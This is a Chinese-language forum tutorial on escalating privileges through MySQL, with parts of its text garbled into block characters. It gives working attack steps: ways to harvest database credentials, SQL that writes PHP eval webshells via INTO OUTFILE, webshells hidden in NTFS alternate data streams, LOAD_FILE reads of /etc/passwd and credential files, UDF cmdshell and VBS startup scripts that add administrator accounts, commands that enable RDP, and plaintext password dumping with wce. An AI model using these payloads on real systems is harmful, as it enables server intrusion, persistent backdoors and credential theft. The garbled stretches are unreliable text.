Mysql提权基础

simeon / 2017-02-28 01:12:00 / 浏览数 4764 新手 入门资料 顶(0) 踩(0)

MySQL是一个中、小型关系型数据库管理系统，由瑞典MySQL AB公司开发，目前属于Oracle公司。MySQL是一种关联数据库管理系统，关联数据库将数据保存在不同的表中，而不是将所有数据放在一个大仓库内，这样就增加了速度并 分为商业版本（MySQL Enterprise Edition和 MySQL Cluster CGE ）和GPL版本（MySQL Community Edition），开发版下载地址：http://dev.mysql.com/downloads/。

1.1Mysql提权必备条件

1.服务器安装Mysql数据库

利用Mysql提权的前提就是服务器安装了mysql数据库，且mysql的服务没有降权，Mysql数据库默认安装以系统权限继承的，并且需要获取Mysql root账号密码。

2.判断Mysql服务运行权限

对于Mysql数据库服务运行权限有很多方法，我这里主要介绍三种，一种是通过查看系统账号，也即使用"net user"命令查看系统当前账号，如果出现了mysql这类用户，以为着系统可能进行了降权，一般情况都不会降权。第二种方法就是看mysqld运行的Priority值，如图1所示。通 "，如果Mysqld的Priority值也为8则意味着Mysql是以System权限运行的。第三种方法是查看端口可否外联，一般情况下是不允许root等账号外链，外部直接连接意味着账

图1查看Priority值来判断Mysqld服务运行权限

1.2Mysql密码获取与破解

1.获取网站数据库账号和密码

对于CMS系统，一定会有一个文件定义了数据库连接的用户和密码。例如以下代码：

```
$db['default']['hostname'] = 'localhost';

$db['default']['username'] = 'root';

$db['default']['password'] = '123456';

$db['default']['database'] = 'crm';
```

dedecms数据库安装的信息就是写在data/common.inc.php，Discuz的数据库信息就在config/config_global_default.php、config /config_ucenter.php、config.inc.php。一般数据库配置文件都会位于config、application、conn、db等目录，配置文件名称一般会是conn.asp/php/aspx/jsp等。对于

对于Linux操作系统，除了上述方法获取root账号密码外，还可以通过查看./root/.mysql_history、./root/.bash_history文件查看mysql操作涉及的密码。当然对于Mysql5. log中和用户密码相关的操作是不加密的。如果你向MySQL发送了例如create user,grant user ... identified by这样的携带初始明文密码的指令，那么会在binary log中原原本本的被还原出来，执行"mysqlbinlog binlog.000001"命令即可获取，如图2所示。

图2查看binlog日志

2.获取Mysql数据库user表

MYSQL所有设置默认都保存在"C:\Program Files\MYSQL\MYSQL Server 5.0\data\MYSQL"中，也就是安装程序的data目录下，有关用户一共有三个文件即user.frm、user.MYD和 user.MYI，MYSQL数据库用户密码都保存在user.MYD文件中，包括root用户和其他用户的密码。在有权限的情况下可以将User.frm、user.myd和User.myi三个文件下载到

3.Mysql密码查询

可以通过以下查询语句直接查询mysql数据库中的所有用户和密码，如图3所示。

```
select user,password from mysql.user;

select user,password from mysql.user where user ='root';
```

图3Mysql密码查询

4.MySQL密码加密算法

MySQL实际上是使用了两次SHA1夹杂一次unhex的方式对用户密码进行了加密。具体的算法可以用公式表示：password_str = concat('*', sha1(unhex(sha1(password)))），可以通过查询语句进行验证，查询结果如图4所示。

```
select password('mypassword'),concat('*',sha1(unhex(sha1('mypassword'))));
```

图4mysql数据库加密算法

1.3Mysql获取webshell

Mysql root账号网站获取webshell具备的条件：

1．知道站点物理路径，网站物理途径可以通过phpinfo函数、登录后台查看系统属性、文件出错信息、查看网站源代码以及路径猜测等方法获取。

2．有足够大的权限，最好是root账号权限或者具备root权限的其它账号，可以用select user,password from mysql.user进行测试。

3．magic_quotes_gpc()=OFF。对于PHP
magic_quotes_gpc=on的情况，可以不对输入和输出数据库的字符串数据作addslashes()和stripslashes()的操作，数据也会正常显示。 对于PHP
magic_quotes_gpc=off
的情况必须使用addslashes()对输入数据进行处理，但并不需要使用stripslashes()格式化输出，因为addslashes()并未将反斜杠一起写入数据库，只是帮助mysql完成了sql语

4.直接导出webshell，执行下面语句

```
Select  '<?php eval($_POST[cmd])?>'  into outfile '■■■■';

and 1=2 union all select ■■■HEX■ into outfile '■■';
```

也可以通过创建表来直接完成，其中d:/www/exehack.php为webshell的名称和路径：

```
   CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOT NULL );

INSERT INTO `mysql`.`darkmoon` (`darkmoon1` ) VALUES ('<?php @eval($_POST[pass]);?>');

SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE 'd:/www/exehack.php';

DROP TABLE IF EXISTS `darkmoon`;
```

5.有些情况下掌握了MSSQL数据库口令，但服务器环境是Windows2008，web环境是PHP，则可以通过SQLTOOLs工具，直接连接命令，通过以下命令写入shell：

```
echo  ^<?php @eval(request[xxx])? ^^>^ >c:\web\www\shell.php
```

1.4Mysql渗透有用的一些技巧总结

1.常见的有助于渗透到mysql函数

在对MySQL数据库架构的渗透中，MySQL内置的函数DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()和CURRENT_USER()可以用来获取一些系统的信息，而
union select 1,1,1,1,load_file('c:/boot.ini')"来获取boot.ini文件的内容。

（1）一些常见的系统配置文件

```
c:/boot.ini //■■■■■■

c:/windows/php.ini //php■■■■

c:/windows/my.ini //MYSQL■■■■■■■■■■■■■■■MYSQL■■■■■■

c:/winnt/php.ini

c:/winnt/my.ini

c:\mysql\data\mysql\user.MYD //■■■mysql.user■■■■■■■■■■

c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //■■■■■■■■■■■■■■■

c:\Program Files\Serv-U\ServUDaemon.ini

c:\windows\system32\inetsrv\MetaBase.xml ■■IIS■■■■■■■■

c:\windows\repair\sam //■■■WINDOWS■■■■■■■■■■

c:\Program Files\ Serv-U\ServUAdmin.exe //6.0■■■■■■serv-u■■■■■■■■■■

c:\Program Files\RhinoSoft.com\ServUDaemon.exe

C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif■■

//■■■pcAnywhere■■■■■■
```

c:\Program Files\Apache Group\Apache\conf\httpd.conf ■C:\apache\conf\httpd.conf //■■WINDOWS■■apache■■

c:/Resin-3.0.14/conf/resin.conf //■■jsp■■■■■ resin■■■■■■.

c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf ■■linux■■■■■JSP■■■■

d:\APACHE\Apache2\conf\httpd.conf

C:\Program Files\mysql\my.ini

C:\mysql\data\mysql\user.MYD ■■MYSQL■■■■■■■■

LUNIX/UNIX ■:

/usr/local/app/apache2/conf/httpd.conf //apache2■■■■■■

/usr/local/apache2/conf/httpd.conf

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //■■■■■■

/usr/local/app/php5/lib/php.ini //PHP■■■■

/etc/sysconfig/iptables //■■■■■■■■■■■■

/etc/httpd/conf/httpd.conf // apache■■■■

/etc/rsyncd.conf //■■■■■■■■

/etc/my.cnf //mysql■■■■■

/etc/redhat-release //■■■■

/etc/issue

/etc/issue.net

/usr/local/app/php5/lib/php.ini //PHP■■■■

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //■■■■■■

/etc/httpd/conf/httpd.conf■/usr/local/apche/conf/httpd.conf ■■linux APACHE■■■■■■■■

/usr/local/resin-3.0.22/conf/resin.conf ■■3.0.22■RESIN■■■■■■

/usr/local/resin-pro-3.0.22/conf/resin.conf ■■

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE■■■■■■

/etc/httpd/conf/httpd.conf■/usr/local/apche/conf /httpd.conf ■■linux APACHE■■■■■■■■

/usr/local/resin-3.0.22/conf/resin.conf ■■3.0.22■RESIN■■■■■■

/usr/local/resin-pro-3.0.22/conf/resin.conf ■■

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE■■■■■■

/etc/sysconfig/iptables ■■■■■■■

load_file(char(47)) ■■■■FreeBSD,Sunos■■■■■

replace(load_file(0×2F6574632F706173737764),0×3c,0×20)

replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

（2）直接读取配置文件

SELECT LOAD_FILE('/etc/passwd')

SELECT LOAD_FILE('/etc/issues')

```
SELECT LOAD_FILE('/etc/etc/rc.local' )

SELECT LOAD_FILE('/usr/local/apache/conf/httpd.conf' )

SELECT LOAD_FILE('/etc/nginx/nginx.conf' )
```

（3）Linux下通过load_file函数读出来的数据库有可能是hex编码，要正常查看需要使用NotePad将将以上代码全部选中，然后选择插件“Converter”-“HEX-ASCII”进行转

1. Windows下MySQL提权时无法创建目录解决办法及数据流隐藏Webshell

NTFS中的ADS（交换数据流）可以建立目录，隐藏webshell等等。

（1） Mysql创建目录

当MySQL版本较高时，自定义函数的dll需要放在mysql目录下的lib\plugin\。一般普通的脚本是没有在这个文件夹下创建文件夹的权限的。这里可以用到ads来突破：

select 'xxx' into outfile 'D:\mysql\lib::$INDEX_ALLOCATION';

会在mysql目录下生成一个lib目录，这样你就可以将你的udf放在这个插件目录下了。

（2）隐藏webshell

在服务器上echo一个数据流文件进去，比如index.php是网页正常文件，我们可以这样子搞：

echo ^<?php @eval(request[xxx])? ^>> index.php:a.jpg

这样子就生成了一个不可见的shell
a.jpg，常规的文件管理器、type命令，dir命令、del命令发现都找不出那个a.jpg的。我们可以在另外一个正常文件里把这个ADS文件include进去，这样子就可以正常解析

3.有用的一些技巧

（1）3389端口命令行下获取总结

netstat -an |find "3389" 查看3389端口是否开放

tasklist /svc | find "TermService" 获取对应TermService的PID号

netstat -ano | find '1340' 查看上面获取的PID号对应的TCP端口号

（2）Windows 2008Server命令行开启3389

```
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (CLASS != "") call setallowtsconnections

wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenti

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
```

（3）wce64 -w 命令直接获取系统明文登录密码

（4）在phpinfo中查找SCRIPT_FILENAME关键字获取真实路径

（5）Linux终端提示符下查看mysql有关信息，ps -ef|grep mysql

（6）Linux下启动mysql服务: service mysqld start

（7）Linux下查看mysqld是否启动：ps -el | grep mysqld

（8）查看mysql在哪里：whereis mysql

（9）查询运行文件所在路径 which mysql

（10）udf.dll提权常见函数

```
cmdshell  ■■cmd;

downloader  ■■■,■■■■■■■■■■■■■■■■■;

open3389    ■■■3389■■■■■,■■■■■■(■■■■■■■■■);

backshell   ■■Shell;

ProcessView ■■■■■■■;
```

KillProcess ■■■■■■;

regread ■■■■;

regwrite ■■■■;

shut ■■,■■,■■;

about ■■■■■■■;

具体用户示例：

select cmdshell('net user iis_user 123!@#abcABC /add');

select cmdshell('net localgroup administrators iis_user /add');

select cmdshell('regedit /s d:web3389.reg');

select cmdshell('netstat -an');

4.一些常见的Mysql命令

（1）连接到mysql 服务器

mysql -h 192.168.0.1 -u root -pantian365.com antian365

（2）查看所有数据库

show databases;

（3）使用某个数据库

use testdatabase;

（4）查看数据库中的所有表

show tables;

（5）在test数据库下创建一个新的表

create table a (cmd text);

（6）在表中插入内容添加用户命令

insert into a values ("set wshshell=createobject (""wscript.shell"") ");

nsert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1/add"",0) ");

insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators 1 /add"",0) ");

（7）查询a表中所有的数据

select * from a

（8）导出数据到系统某个目录下

select * from a into outfile "c:\docume~1\alluse~1\「开始」菜单\程序\启动\a.vbs";

（9）查询数据库数据路径

select @@datadir;

（10）查看所有dir路径

SHOW VARIABLES WHERE Variable_Name LIKE "%dir"

（11）查看插件路径

show variables like '%plugins%' ;

（12）查询MYSQL安装路径

select @@basedir

（13）常用内置函数

```
select system_user()  ■■■■■■■

select current_user()  ■■■■■■■

select user();  ■■■■■

SELECT version() ■■■■■■■■

SELECT database()  ■■■■■■■■■■■

select @@version_compile_os ■■■■■■■■■

select now(); ■■■■■■■
```

（14）获取表结构

desc 表名 或者show columns from 表名

（15）删除表

drop table <表名>

参考文章：

http://www.jb51.net/hack/41493.html

http://www.pythian.com/blog/hashing-algorithm-in-mysql-password-2/

http://www.myhack58.com/Article/html/3/8/2016/75694.htm

http://www.cnblogs.com/hateislove214/archive/2010/11/05/1869889.html

上一篇：PHP函数usort是咋回事?还能... 下一篇：MySQL数据库Root权限MOF...
1. 0 条回复
   - 动动手指，沙发就是你的了！